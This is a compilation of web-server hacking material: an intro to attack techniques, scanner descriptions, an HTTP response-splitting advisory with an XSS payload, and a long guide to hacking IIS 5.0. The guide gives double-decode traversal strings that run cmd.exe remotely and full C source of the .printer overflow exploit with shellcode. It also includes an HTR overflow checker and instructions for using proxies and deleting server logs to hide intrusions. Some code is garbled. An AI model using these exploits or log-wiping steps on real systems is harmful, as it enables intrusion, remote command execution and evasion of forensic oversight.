Web Server Hacking Techniques

Web Server Hacking Techniques

Lots of people know use, configure andmanage their webservers but only few of them really know how to protect their web server from getting hacked i.e making it hack proof. Today lots of websites are hosted on adedicated web servers so it's extremely important to make your web serverhack proof in order to prevent any theft and data loss, Before mentioning techniques used by hackers to compromise a web server and how you can protect your web server you should know what a web server is and how it works. What is a webserver? Basically a webserver is a single computer or more used to host websites, For a website to be available to every one (connected to internet) 24/7 it needs to be hosted on a webserver How webservers work? Webservers work in a simple manner, When ever you are using browser to surf any page your browser will request that particular page from the webserver and the server sends back the requested page. How Are Webservers Compromised Or hacked?  There are multiple reasons why a webserver gets compromised or hacked, one of the major reason is installing the webserver with default and lack of updates and weak passwords. Once the server is compromised the hacker can use it to do malicious things online. For Example Hacked webservers can be used to as zombies to for performing a more powerful DDOS attack. Webserver Hacking Techniques Below mentioned are some of the techniques which can be used by malicious hackers to compromise a webserver. Orthodox Password Cracking Techniques 1. A hacker can use variety of password Cracking Techniques such as Brute force, Dictionary attacks and rainbow tables to crack weak administrator account passwords, However these attacks create huge logs of presence, so therefore smarter hackers either use a proxy or any other iP hiding method or they use already compromised systems to perform the attack. 2. Man In The Middle Attack A hacker can also perform a man in the middle attack also known as ARP poisoning to steal credentials of administrator account. 3.  Keyloggers And Trojans If A hacker can manage to install a trojan or a keylogger on administrator's computer then, the malicious hacker can easily capture the credentials 4. DNS Cache Poisoning Attack If a hacker can manage to insert fake address records for a domain name into DNS server and can make the webserver accept the fake address record then the hacker or intruder can easily control your browser, This attack is extremely dangerous as it happens without the users knowledge, The topic is quite big and is not possible to explain it here, depending upon readers response I might make a seprate tutorial on this attack There are many other techniques used by hackers such as Ftp server intrusion, social engineering, exploiting web application bugs which are probably to be explained

1 2 3 4 5

Top20 Scan Method : Hacking Web Servers

This method will scan the web server for the top 20 vulnerabilities list published by SANS/FBI (www.sans.org)

Hacking Tool: WebInspect

• WebInspect is an impressive Web server and application-level vulnerability scanner which scans over 1500 known attacks.
• It checks site contents and analyzes for rudimentary application-issues like smart guesswork checks, password guessing, parameter passing, and hidden parameter checks.
• It can analyze a basic Webserver in 4 minutes cataloging over 1500 HTML pages

WebInspect enables application and web services developers to automate the discovery of security vulnerabilities as they build applications, access detailed steps for remediation of those vulnerabilities and deliver secure code for final quality assurance testing.

With WebInspect, the developer can find and correct vulnerabilities at their source, before attackers can exploit them. WebInspect provides the technology necessary to identify vulnerabilities at the next level, the Web application.

Network Tool: Shadow Security Scanner

http://www.safety-lab.com

• Security scanner is designed to identify known and unknown vulnerabilities, suggest fixes to identified vulnerabilities, and report possible security holes within a network's internet, intranet and extranet environments.
• Shadow Security Scanner includes vulnerability auditing modules for many systems and services.
  These include NetBIOS, HTTP, CGI and WinCGI, FTP, DNS, DoS vulnerabilities, POP3, SMTP,LDAP,TCP/IP, UDP, Registry, Services, Users and accounts, Password vulnerabilities, publishing extensions, MSSQL,IBM DB2, Oracle, MySQL, PostgressSQL, Interbase, MiniSQL and

These include NetBIOS, HTTP, CGI and WinCGI, FTP, DNS, DoS vulnerabilities, POP3, SMTP, LDAP, TCP/IP, UDP, Registry, Services, Users and accounts, Password vulnerabilities, publishing extensions, MSSQL, IBM DB2, Oracle, MySQL, PostgressSQL, Interbase, MiniSQL and more.

Running on its native Windows platform, SSS also scans servers built practically on any platform, successfully revealing vulnerabilities in Unix, Linux, FreeBSD, OpenBSD, Net BSD, Solaris and, of course, Windows 95/98/ME/NT/2000/XP/.NET. Because of its unique architecture, SSS is the able to detect faults with CISCO, HP, and other network equipment. It is also capable of tracking more than 2,000 audits per system.

The Rules and Settings Editor will be essential for the users willing only to scan the desired ports and services without wasting time and resources on scanning other services. Flexible tuning lets system administrators manage scanning depth and other options to make benefit of speed - optimized network scanning without any loss in scanning quality.

Countermeasures

• IISLockdown:
  • IISLockdown restricts anonymous access to system utilities as well as the ability to write to Web content directories.
  • It disables Web Distributed Authoring and Versioning (WebDAV).
  • It installs the URLScan ISAPI filter.
• URLScan:
  • URLScan is a security tool that screens all incoming requests to the server by filtering the requests based on rules that are set by the administrator.

UrlScan is a security tool that screens all incoming requests to the server by filtering the requests based on rules that are set by the administrator. Filtering requests helps secure the server by ensuring that only valid requests are processed. UrlScan helps protect Web servers because most malicious attacks share a common characteristic they involve the use of a request that is unusual in some way. For instance, the request might be extremely long, request an unusual action, be encoded using an alternate character set, or include character sequences that are rarely seen in legitimate requests. By filtering unusual requests, UrlScan helps prevent such requests from reaching the server and potentially causing damage.

Summary

• Web servers assume critical importance in the realm of Internet security.
• Vulnerabilities exist in different releases of popular web servers and respective vendors patch these often.
• The inherent security risks owing to compromised web servers have impact on the local area networks that host these web sites, even the normal users of web browsers.
• Looking through the long list of vulnerabilities that had been discovered and patched over the past few years provide an attacker ample scope to plan attacks to unpatched servers.
• Different tools/exploit codes aids an attacker perpetrate web server hacking.
• Countermeasures include scanning, for existing vulnerabilities and patching them immediately, anonymous access restriction, incoming traffic request screening and filtering.
  
  

Oracle Sun Java System Web Server - HTTP Response Splitting

Oracle Sun Java System Web Server - HTTP Response Splitting


Description

Security-Assessment.com discovered that is possible to successfully perform an HTTP Response Splitting attack against applications served by Sun Java System Web Server. The vulnerability can be exploited if user supplied input is used to generate the value of an HTTP header, as shown in the test.jsp page below:

test.jsp – Source Code

<html>
test
<%
response.setStatus(HttpServletResponse.SC_OK);
String ref = request.getParameter("ref");
response.setHeader("Referer",ref);
%>

The test.jsp page is vulnerable to HTTP response splitting when served by Sun Java System Web Server. HTTP Response Split can lead to Cross Site Scripting and browser cache poisoning attacks.

Exploitation

In this advisory, we will cover description of a Cross Site Scripting attack. The following HTTP GET contains a Cross Site Scripting payload which is included in the HTTP Header injection:

GET /test.jsp?ref=http://my.test.domain.com/%0D%0AContent-
type:+text/html;%0D%0A%0D%0ATEST%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1

By inserting CR and LF characters in the “ref” HTTP parameter, it is possible to split the HTTP response from the server as shown in the following table:

HTTP/1.1 200 OK
Server: Sun-Java-System-Web-Server/7.0
Date: Fri, 28 May 2010 12:44:55 GMT
Referer: http://my.test.domain.com/
Content-type: text/html;
TEST<script>alert(1)</script>
Content-type: text/html;charset=ISO-8859-1
Content-length: 22
<html>
test


The above example shows a JavaScript code injection in the split HTTP response. Consequently, it is possible to perform a Cross Site Scripting attack. The testing was conducted using the following settings:
* Server side: Sun-Java-System-Web-Server/7.0 Update 8 (default) installed on Windows XP SP3;
* Client side: Mozilla Firefox 3.5.8, Opera 10.10, Internet Explorer 8.


Solution
Oracle has created a fix for this vulnerability which has been included as part of Critical Patch Update Advisory - October 2010. Security-Assessment.com recommends all users of Sun Java System Web Server to upgrade to the latest version as soon as possible. For more information on the new release of patch for Sun Java System Web Server refer to the release notes:
http://sunsolve.sun.com/search/document.do?assetkey=1-79-1215353.1-1
http://www.oracle.com/technetwork/topics/security/cpuoct2010-175626.html#AppendixSUNS

Hacking IIS 5.0: The Complete Guide

The Step By Step IIS 4 Hack

This is not a article for a script kiddie. It's a little late but still applicable today, very applicable. This article is intended to be a robust guide for hacking, and administering IIS 5 servers. So without further adeu The Ultimate IIS Guide.


Outline:
I. Introduction
II. Information Gathering
A. Enumeration
B. Identify the directory structure
C. Is it patched or not?
III. Exploits
A. Double Decode(Superflous)
B. IDQ Buffer Overflow
C. Source Code Disclosure Exploits
1. Historical Importance
2. Impact
3. New Source Code Disclosure Vulnerabilities
D. WebDav Exlploit
IV. Covering your Tracks
A. Where are the Logfiles?
B. Why can't I delete them now!
C. How I will delete them later.

Foreword

Know your stuff! Remember by default all actions of yours are logged on IIS 5 and the FTP server, not sure about the smtp server but who cares, you can't use VRFY anyway!

Let's say you are hacking a web server, and you know it is IIS 5. If the IIS Server is running it has a virtual root. By default the virtual root is
                     c:\inetpub\wwwroot\. 
So if you send the request

              GET /frick.html HTTP/1.0


It checks c:\inetpub\wwwroot\ to see if it has a file named frick.html if it does it sends it. Now if you request the default document by way of

                    GET / HTTP/1.0

It then looks for the default document. Which if left unchanged is c:\inetpub\wwwroot\iisstart.asp. You must manually change the default document to whatever you wish using the IIS Configuration Dialog. If the
pages default.asp or default.htm exist it will serve them instead. If both exist it will serve default.asp. This is the default precedence of the sample pages.

The first things you should check for while gathering info about the server is if the administrator has preserved the default directory structure and such. A virtual directory is a directory that can be accessed by IIS without
the directory actually being in the virtual root. Virtual Directories that you should check for first are:


/_vti_bin/
/scripts/
/msadc/
/iissamples/
/_vti_pvt/
/_vti_cnf/
/_private/

"What good does this do?" you might ask? Well, first it gives you a feel for the directory structure of the machine. And second, if they have failed to patch their machine, you might be able to exploit it using one of the technique's I describe in this paper. After checking those first directories, you can check for some common directories on websites that have chosen not to keep the default structure such as these.

/cgi-bin/ /bin/ /admin/ /config/ /asp/
/cfg/ /exe/ /php/ /perl/ /binary/
/src/ /tar/ /include/ /topics/ /pwd/
/private/ /conf/ /logs/ /log/ /audio/
/sound/ /pvt/ /images/ /public/ /home/
/cpp/ /db/ /data/ /news/


But don't let this list limit you. You must know as much as possible about the system. So use your imaginiation. Ok? Done using your imagination. Ready for the 31337 stuff? Lets begin. If the web page has a default under construction page, it is most likely that the Server was installed by accident and that the current user of the computer does not know about it.
It has happened many times. At least 5 times with people I know. However whether or not they installed it by accident, the known vulnerabilities for the default installation are worthless if they used the windows update.
Which eradicates at least 10-20 exploits. Also before you start hacking away at the server you want do a port scan, if you haven't already, and see if ftp is running it might come in handy as we will discuss later.

The first exploits I will discuss are the Double Decode(sometimes called the Superflous Decode)Directory Traversal Attacks. These are easily exploitable on a default installation of IIS 5.0. Some people think that you must have a myriad of tools to hack. This is a very clean cut example that prooves you can get root, armed with only a web browser. To exploit this you must first find a directory with execute permissions. Such directories by default are:
scripts, iissamples, msadc, and _vti_bin. In a possible exploit request string you could have "http://55.55.55.55/scripts" & *Exploit String*. I put
*A Exploit String there because there are many to choose from as listed below.(These exploit strings all execute the dos command dir, which gives directory listing)

/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:


/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+d
ir+c:
/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir+c:
/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:
/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+dir+c:


/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c
:
/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:


/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cm
d.exe?/c+dir+c:



I am going to stop listing exploit strings to preserve brevity. But the way the exploit works is that IIS checks for "/../../" (dot-slash) attacks before decoding the request string. So it does not notice that after it decodes the urlencoded string that it is in fact allowing a traversal to take place. Maybe an example will help. Let decode this string

"/scripts/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\". We know that %35 decodes to 5 so replace all the %35s with 5 which looks like
this "/scripts/..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe?/c+dir+c:\".

Then it checks to make sure it got all the url encoded stuff and it realizes it forgot to decode %5c, which is a \(also IIS changes /'s to \'s). Thus the final path that IIS is left with is

"\scripts\..\..\..\..\winnt\system32\cmd.exe?\c+dir+c:\" which tells IIS to hop down four directories and then to look in c:\winnt\system32\cmd.exe and since the original directory was scripts and had execute permissions it
executes the shell "cmd.exe" and passes the command line parameters behind the ? in the http request. The shell command would look like this "cmd.exe /c dir c:\".

This is exploit is only limited by your imagination. You can copy files, delete them, disable logging and even delete old logs by utilizing this technique. I have heard that you can upload files using it as well but I
haven't been able to do it myself. You can make their floppy drive spin and if they have a disk in at the time, you can read files off of it easily with a type command! This is possible with a cd-rom drive too. There is probably a way to eject the cdrom but I don't know how. More information on this exploit at end of paper.

The next exploit is the exploit used by the codered worm to squiggle its way through the internet And unless you live in front of your old commodore 64 with no internet connection(which some of you might judging from the pictures at neworder) you will no doubt know how effective codered was. The exploit was dubbed the IDQ .Printer Overflow(Pronounced I Dee Que (dot) Printer). The exploit was first discovered by [url]www.eeye.com[/url] they released a simple proof of concept. The proof of concept writes a file to the root of any machine that describes how to remedy the vulnerability. The exploit is done by making a request such as


GET /NULL.printer HTTP/1.0
HOST: [420 char Buffer]

[url]www.eeye.com[/url] Note: I have been unable to get their proof of concept to work and will provide another and references to others at the end of this paper.


Begin File iishack2000.c #ifdef _WIN32
#include 
#include #define snprintf _snprintf #else
#include 
#include 
#include 
#include #endif
#include 

void usage();
unsigned char GetXORValue(char *szBuff, unsigned long filesize);

unsigned char sc[2][315]={
"\x8b\xc4\x83\xc0\x11\x33\xc9\x66\xb9\x20\x01\x80\x30\x03\x40\xe2\xfa\
xeb\x03\x03\x03\x03\x5c\x88\xe8\x82\xef\x8f\x09\x03\x03\x44\x80\x3c\xfc\x76\
xf9\x80\xc4\x07\x88\xf6\x3
0\xca\x83\xc2\x07\x88\x04\x8a\x05\x80\xc5\x07\x80\xc4\x07\xe1\xf7\x30\xc3\x8
a\x3d\x80\xc5\x07\x80\xc4\
x17\x8a\x3d\x80\xc5\x07\x30\xc3\x82\xc4\xfc\x03\x03\x03\x53\x6b\x83\x03\x03\
x03\x69\x01\x53\x53\x6b\x0
3\x03\x03\x43\xfc\x76\x13\xfc\x56\x07\x88\xdb\x30\xc3\x53\x54\x69\x48\xfc\x7
6\x17\x50\xfc\x56\x0f\x50\
xfc\x56\x03\x53\xfc\x56\x0b\xfc\xfc\xfc\xfc\xcb\xa5\xeb\x74\x8e\x28\xea\x74\
xb8\xb3\xeb\x74\x27\x49\xe
a\x74\x60\x39\x5f\x74\x74\x74\x2d\x66\x46\x7a\x66\x2d\x60\x6c\x6e\x2d\x77\x7
b\x77\x03\x6a\x6a\x70\x6b\
x62\x60\x68\x31\x68\x23\x2e\x23\x66\x46\x7a\x66\x23\x47\x6a\x64\x77\x6a\x62\
x6f\x23\x50\x66\x60\x76\x7
1\x6a\x77\x7a\x0e\x09\x23\x45\x6c\x71\x23\x67\x66\x77\x62\x6a\x6f\x70\x23\x7
5\x6a\x70\x6a\x77\x39\x23\
x4b\x77\x77\x73\x39\x2c\x2c\x74\x74\x74\x2d\x66\x46\x7a\x66\x2d\x60\x6c\x6e\
x03\x03\x03\x03\x03\x03\x0
3\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x90\x90\x90\x90\x90\x9
0\x90\x90\xcb\x4a\x42\x6c\
x90\x90\x90\x90\x66\x81\xec\x14\x01\xff\xe4\x03\x03\x03\x03\x03\x03\x03\x03\
x03\x03\x03\x03\x03\x03\x0
3\x03\x03\x03\x03\x03\x03\x03\x00",


"\x8b\xc4\x83\xc0\x11\x33\xc9\x66\xb9\x20\x01\x80\x30\x03\x40\xe2\xfa\
xeb\x03\x03\x03\x03\x5c\x88\xe8\x82\xef\x8f\x09\x03\x03\x44\x80\x3c\xfc\x76\
xf9\x80\xc4\x07\x88\xf6\x3
0\xca\x83\xc2\x07\x88\x04\x8a\x05\x80\xc5\x07\x80\xc4\x07\xe1\xf7\x30\xc3\x8
a\x3d\x80\xc5\x07\x80\xc4\
x17\x8a\x3d\x80\xc5\x07\x30\xc3\x82\xc4\xfc\x03\x03\x03\x53\x6b\x83\x03\x03\
x03\x69\x01\x53\x53\x6b\x0
3\x03\x03\x43\xfc\x76\x13\xfc\x56\x07\x88\xdb\x30\xc3\x53\x54\x69\x48\xfc\x7
6\x17\x50\xfc\x56\x0f\x50\
xfc\x56\x03\x53\xfc\x56\x0b\xfc\xfc\xfc\xfc\x50\x33\xeb\x74\xf7\x86\xeb\x74\
x2e\xf0\xeb\x74\x4c\x30\xe
b\x74\x60\x39\x5f\x74\x74\x74\x2d\x66\x46\x7a\x66\x2d\x60\x6c\x6e\x2d\x77\x7
b\x77\x03\x6a\x6a\x70\x6b\
x62\x60\x68\x31\x68\x23\x2e\x23\x66\x46\x7a\x66\x23\x47\x6a\x64\x77\x6a\x62\
x6f\x23\x50\x66\x60\x76\x7
1\x6a\x77\x7a\x0e\x09\x23\x45\x6c\x71\x23\x67\x66\x77\x62\x6a\x6f\x70\x23\x7
5\x6a\x70\x6a\x77\x39\x23\
x4b\x77\x77\x73\x39\x2c\x2c\x74\x74\x74\x2d\x66\x46\x7a\x66\x2d\x60\x6c\x6e\
x03\x03\x03\x03\x03\x03\x0
3\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x90\x90\x90\x90\x90\x9
0\x90\x90\xcb\x4a\x42\x6c\
x90\x90\x90\x90\x66\x81\xec\x14\x01\xff\xe4\x03\x03\x03\x03\x03\x03\x03\x03\
x03\x03\x03\x03\x03\x03\x0
3\x03\x03\x03\x03\x03\x03\x03\x00"};

main (int argc, char *argv[])
{
char request_message[500];
int X,sock,sp=0;
unsigned short serverport=htons(80);
struct hostent *nametocheck;
struct sockaddr_in serv_addr;
struct in_addr attack;
#ifdef _WIN32
WORD werd;
WSADATA wsd;
werd= MAKEWORD(2,0);
WSAStartup(werd,&wsd);
#endif
printf("iishack2000 - Remote .printer overflow in 2k sp0 and sp1\n");
printf("Vulnerability found by Riley Hassell \n");
printf("Exploit by Ryan Permeh \n");
if(argc < 4) usage();
if(argv[1] != NULL)
{
nametocheck = gethostbyname (argv[1]);
memcpy(&attack.s_addr,nametocheck->h_addr_list[0],4);
}
else usage();
if(argv[2] != NULL)
{
serverport=ntohs((unsigned short)atoi(argv[2]));
}
if(argv[3] != NULL)
{
sp=atoi(argv[3]);
}
printf("Sending string to overflow sp %d for host: %s on
port:%d\n",sp,inet_ntoa(attack),htons
(serverport));
memset(request_message,0x00,500);
snprintf(request_message,500,"GET /null.printer HTTP/1.1\r\nHost:
%s\r\n\r\n",sc[sp]);
sock = socket (AF_INET, SOCK_STREAM, 0);
memset (&serv_addr, 0, sizeof (serv_addr));
serv_addr.sin_family=AF_INET;
serv_addr.sin_addr.s_addr = attack.s_addr;
serv_addr.sin_port = serverport;
X=connect (sock, (struct sockaddr *) &serv_addr, sizeof
(serv_addr));
if(X==0)
{


send(sock,request_message,strlen(request_message)*sizeof(char),0);
printf("Sent overflow, now look on the c: drive of %s for
www.eEye.com.txt\n",inet_nto
a(attack));
printf("If the file doesn't exist, the server may be
patched,\nor may be a different s
ervice pack (try again with %d as the service pack)\n",sp==0?1:0);
}
else
{
printf("Couldn't connect\n",inet_ntoa(attack));
}
#ifdef _WIN32
closesocket(sock);
#else
close(sock);
#endif
return 0; } void usage() {
printf("Syntax: iishack2000 pack>\n");
printf("Example: iishack2000 127.0.0.1 80 0\n");
printf("Example: iishack2000 127.0.0.1 80 1\n");
exit(1);
}

End of File


The next series of exploits will focus on script source code disclosure. The first exploit for this is caused by a sample script that comes with IIS 5.0. It's name is codebrws.asp. codebrws.asp was meant to show people how to create simple scripts, and is also able to format already created scripts into nice colors, anyway, it opens the file specified in the url variable &source.

/iissamples/sdk/asp/docs/codebrws.asp?source=/iissamples/sdk/asp/docs/codebr ws.asp
/iissamples/sdk/asp/docs/codebrws.asp?source=/iissamples/%c0%ae%c0%ae/iissta rt.asp

The next vulnerability is releatively new, so I won't pretend to have experience exploiting it. It's called the HTR Chunked Encoding Buffer overflow and I have a proof of concept right here for you. The Information
you need should be in the script. It is in perl, sorry windows users, but if you use windows and still want to try to run it, goto activestate.com

Begin File HTR_Exploit.pl


#!/usr/bin/perl


########################################################################
# (c) Filip Maertens/CISSP, .HTR Heap Overflow checker.
#
# DISCLAIMER: This tool is only to be used for legitimate purposes only.
# This is considered as an intrusive, so please adhere to the laws and
# regulations applicable in your country. Oh, and honey, there is pizza
# in the fridge...
#
# CREDITS: [EMAIL REMOVED]/KPMG for the advisory
# Thor Larholm for the patch identification remark
#
########################################################################




use Socket;


print "iischeck.pl | Microsoft .HTR Heap Overflow Checker |
\n-------------------------------------------------------
----------------\n";


$host= [EMAIL REMOVED][ 0 ];
$method= [EMAIL REMOVED][ 2 ];
my $target = inet_aton($host);
$port = 80;


$requestmethod[0] = "GET";
$requestmethod[1] = "HEAD";
$requestmethod[2] = "POST";




# Initializing strings & vars


$patchedstring = "InsertElementAnchor";
$nonpatchedstring = "document.write";
$bogusurl = "/xxxiischeckxxx";




# Main loop of rotten code


if ($host ne "") {


print " -- Checking hostname: $host\n";


$rawrequest = "$requestmethod[$method] $bogusurl
HTTP/1.1\nClient-Agent:iischeck.pl\nHost:$host\r\n\r\n";
[EMAIL REMOVED] = sendrequestandgetanswer($rawrequest);


$criticalline = $results[49]; # 49, since HTTP headers are included


if ($results[2] =~ "IIS") {


SWITCH: {
if ($criticalline =~ $nonpatchedstring) { $patched = " -- 
Status: System vulnerable."; last SWITCH; }
if ($criticalline =~ $patchedstring) { $patched = " -- 
Status: System MS02-18 patched."; last SWITCH; }
$patched = " -- Status: Cannot identify patch level";
}


print "$patched\n\n";


} else {


print " -- Error: System is not a Windows/IIS host.\n\n";


}


} else {




showusage();


}




exit(0);




#######: Functions used by iischeck.pl :#######


sub showusage
{
print "Usage: iischeck [hostname] -method [method]\n";
}


sub sendrequestandgetanswer
{
my ($rawrequest)= [EMAIL REMOVED];
[EMAIL REMOVED] = sendrawandgetanswer ($rawrequest);
return [EMAIL REMOVED];
}


sub sendrawandgetanswer
{
my ($pstr)=[EMAIL REMOVED];
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp') || 0) || die(" -- 
Error in creating socket\n");
if (connect(S,pack "SnA4x8",2,$port,$target))
{
my [EMAIL REMOVED]="";
select(S);
$|=1; print $pstr;


{
push [EMAIL REMOVED],$_;
last if ($line=~ /^[rn]+$/ );
}
select(STDOUT);


return [EMAIL REMOVED];
}
else
{
die(" -- Error connecting to: $host\n");
}
}




sub sendraw
{
my ($pstr)=[EMAIL REMOVED];
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp') || 0) || die("Socket
problems\n");
if (connect(S,pack "SnA4x8",2,$port,$target))
{
my [EMAIL REMOVED]="";
select(S);
$|=1;
print $pstr;


}
else
{
die("connect problems\n");
}
}

End of File

Well I know the last one needs more info, but hey, would it be fun If I spoonfed ya'll all the way? That exploit unlike the other's listed will even ork with IIS 5.1, which is the web server that comes with Windows XP
Professional.

So you got in? You have at this point (hopefully) found a hole in this IIS server and have or are going to exploit it. What you do next is up to you.
But bear in mind that, by default, all actions on IIS 5 and it's FTP server are logged. And that is what the next seciton is about. The web server log resides in

 "c:\winnt\system32\logfiles\w3svc1\". 

The FTP
server log is stored in "c:\winnt\system32\logfiles\ftpsvc1\". They log you rip address and what request you made to the server. By default they do not examine your request to see if you used a proxy. The logfiles are named according to the date. Everyday IIS creates a new logfile. So, if you did some naughty stuff today, find a proxy, come back tomorrow, and use these command's by way of the double decode exploit, if they are available. If they aren't available, because no directories, have execute permission's you can brute force the FTP server(use a ftp proxy for this one to!), and then when you get admin privileges, you can delete the logs, or modify them, and don't forget to save some of them to your box, many times, you will find boxe's ips that have fallen victim to the codeRed worm, and those are vulnerable to the double decode attack, and the IDQ buffer overflow, and most of the time are complete default IIS 5 installations.

Useful Double Decode Command's(The command comes after the exploit string) By the way I haven't tested all of these but I have tested as many as I could, the reason I couldn't test them all was because my server that I was using was shut down while I was testing them.

/cmd.exe?/c+dir+c:
/cmd.exe?/c+type+....win.ini (Try Different combinations with this one,
for some reason c:pathfilename didn't work in my test
/cmd.exe?/c+type+..\..\config.sys
/cmd.exe?/c+dir+c:\WinNT\System32\LogFiles\
/cmd.exe?/c+del+\LogFiles\w3svc1\ex030601.log
or
/cmd.exe?/c+del+c:\WinNT\System32\Logfiles\ex030601.log

The last one was just an example, but remember your going to have to find out the names of the logfiles so you can delete them yourself. Remember though, you can't delete the most recent logfile as it is being used by IIS, so if your unable to modify win.ini to delete it. And don't forget, search google for the command's that let you upload files using tftp. I hope you have at least been enlightened in some way about IIS 5 in this paper, thank you If you think this paper could use a little more before being posted or whatever just send it back with comments I will revise it if needed.